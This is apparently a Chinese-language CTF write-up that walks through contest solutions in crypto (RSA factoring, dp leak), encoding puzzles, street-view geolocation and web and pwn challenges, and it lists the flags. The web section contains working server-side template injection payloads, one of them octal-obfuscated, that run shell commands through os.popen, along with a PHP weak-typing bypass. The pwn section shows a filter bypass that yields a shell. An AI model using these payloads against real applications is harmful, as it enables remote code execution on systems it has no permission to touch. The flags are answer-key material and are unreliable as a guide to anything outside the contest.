第二届CN-fnst::CTF WriteUp(web,misc,crypto,osint,pwn)
字数 2432 2025-08-22 12:22:54
CN-fnst::CTF 解题思路与技巧详解
密码学(Crypto)部分
1. 签到题
解题要点:
- 使用0宽字符隐写技术
- 在线解密工具:https://330k.github.io/misc_tools/unicode_steganography.html
- 直接解密获得flag:
flag{H@v3_fUn}
2. ezCrypto (RSA基础)
解题步骤:
-
识别为RSA加密,参数包括:
- e = 65537
- n = 1455925529734358105461406532259911790807347616464991065301847
- c = 69380371057914246192606760686152233225659503366319332065009
-
分解n为p和q:
- 使用yafu工具分解
- p = 1201147059438530786835365194567
- q = 1212112637077862917192191913841
-
Python解密代码:
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse
e = 65537
n = 1455925529734358105461406532259911790807347616464991065301847
c = 69380371057914246192606760686152233225659503366319332065009
p = 1201147059438530786835365194567
q = 1212112637077862917192191913841
phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)
m = pow(c, d, n)
print(long_to_bytes(m))
结果:flag{fact0r_sma11_N}
3. 神秘dp (dp泄露攻击)
解题要点:
- 已知参数:e, n, c, dp
- 使用dp泄露攻击脚本
- 参考文章:https://blog.csdn.net/qq_74350234/article/details/142992243
- 直接套用模板获得flag:
flag{dp_i5_1eak}
4. math (大数分解)
解题步骤:
- 使用在线分解工具:https://factordb.com/
- 成功分解n得到p和q
- 标准RSA解密流程
Python代码:
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse
# 给定大数p, q, e, c, n
phi_n = (p - 1) * (q - 1)
d = mod_inverse(e, phi_n)
m = pow(c, d, n)
print(long_to_bytes(m))
结果:flag{77310934-21fa-4ee4-a783-dc1865ebab28}
5. base1024
解题要点:
- 参考文章:https://blog.csdn.net/qq_15991191/article/details/120555399
- 使用现成脚本解码
- 获得flag:
flag{脑洞竞技 代码逆向 漏洞挖掘 团队协作 密码破译 云端对决}
6. 不要忘记仰望星空
解题步骤:
- 社会主义核心价值观解密
- 盲文解密
- Unicode字符处理(替换⡳⡳⡳为\u)
- 最终flag:
flag{宇宙探索编辑部}
Web安全部分
1. ez_python (SSTI注入)
解题要点:
- 文件读取:
?file=app.py - 分析源码发现/shell路由存在SSTI
- 绕过限制使用
{%%}和八进制转义 - Payload构造:
/shell?name={%print%0a(lipsum|attr(%22\137\137\147\154\157\142\141\154\163\137\137%22))|attr(%22\137\137\147\145\164\151\164\145\155\137\137%22)(%22\137\137\142\165\151\154\164\151\156\163\137\137%22)|attr(%22\137\137\147\145\164\151\164\145\155\137\137%22)(%22\145\166\141\154%22)(%22\137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\160\157\160\145\156\050\047\143\141\164\040\146\061\141\147\137\110\063\162\145\061\061\047\051\056\162\145\141\144\050\051\012%22)%}
- 使用env或ls查找flag
2. comment_me (SSTI绕过)
解题要点:
- 发现参数p存在SSTI
- 绕过点号过滤用中括号代替
- 最终payload:
{{config["__class__"]["__init__"]["__globals__"]["os"]["popen"]('env')["read"]()}}
- 获得flag:
flag{b59057fe-b750-4684-b780-441623633fc7}
3. ezphp (弱类型与数组绕过)
解题要点:
- 利用PHP弱类型比较和数组绕过md5检查
- Payload:
GET ?usn[]=1&usn1[]=1&sign=env
POST pwd[]=2&pwd1[]=2
- 绕过命令过滤使用env获取flag
杂项(Misc)部分
1. sign in (凯撒+Base64)
解题步骤:
- 识别为凯撒加密的Base64图片数据
- Python解密脚本:
def caesar_decrypt(ciphertext, shift):
# 实现凯撒解密
pass
# 爆破偏移量直到找到'data'开头的Base64
- 使用工具解密图片隐写:http://tools.h3399.cn/aideddesign/img_add_info.html
- 获得flag:
flag{wobushinailong_woshihuangdou}
2. 简简单单 (多层编码)
解题流程:
- 社会主义核心价值观解密
- 盲文解密
- Base62解码(使用工具:https://www.a.tools/Tool.php?Id=120)
- Base58解码
- 最终flag:
flag{8yvLhxrd1k0ap0df}
3. 烟① (多层隐写)
解题步骤:
- 发现ZIP注释隐写
- 佛说解密获得密码:
qiuqiugeweishaochouyan - 反编译Python打包的exe:
- 在线工具:https://pyinstxtractor-web.netlify.app/
- Pyc反编译:https://www.lddgo.net/string/pyc-compile-decompile
- 输入正确数字序列:
6, 0.6, 7, 84, 20, 16 - 处理Base64图片数据,修复PNG头文件
- 根据提示找到公众号
NameError_P - 最终flag:
flag{AttributeError_Ghost}
取证(Forensics)部分
1. 签到 (地理位置识别)
解题要点:
- 识别图中地点:
- 成都春熙路熊猫
- 宽窄巷子
- 蜀韵园
- 组合得到flag:
flag{成都宽窄巷子蜀韵园}
2. 泰国修车店 (谷歌街景)
解题步骤:
- 识别图中泰国修车店
- 谷歌地图定位:https://www.google.com/maps/place/...
- 获取坐标:14.352, 100.538
- MD5加密得flag
3. 俄罗斯雕像 (街景识别)
解题要点:
- 识别雕像:Pamyatnik Patriarkhu Germogenu
- 谷歌地图定位:https://www.google.com/maps/@55.7542939,37.6137361
- 坐标:55.754,37.613
- 加密得flag
4. 蒙古平原 (复杂街景)
解题步骤:
- 通过路牌排除中国
- 确定蒙古国平原区域
- 查找河流与公路交叉点
- 最终定位:https://www.google.com/maps/@45.810734,101.905646
- 坐标:45.810,101.905
- 加密得flag
PWN部分
1. 真"签到" (命令注入)
解题要点:
- 分析二进制发现直接执行输入
- 绕过字符检查使用转义:
s\h - 获得shell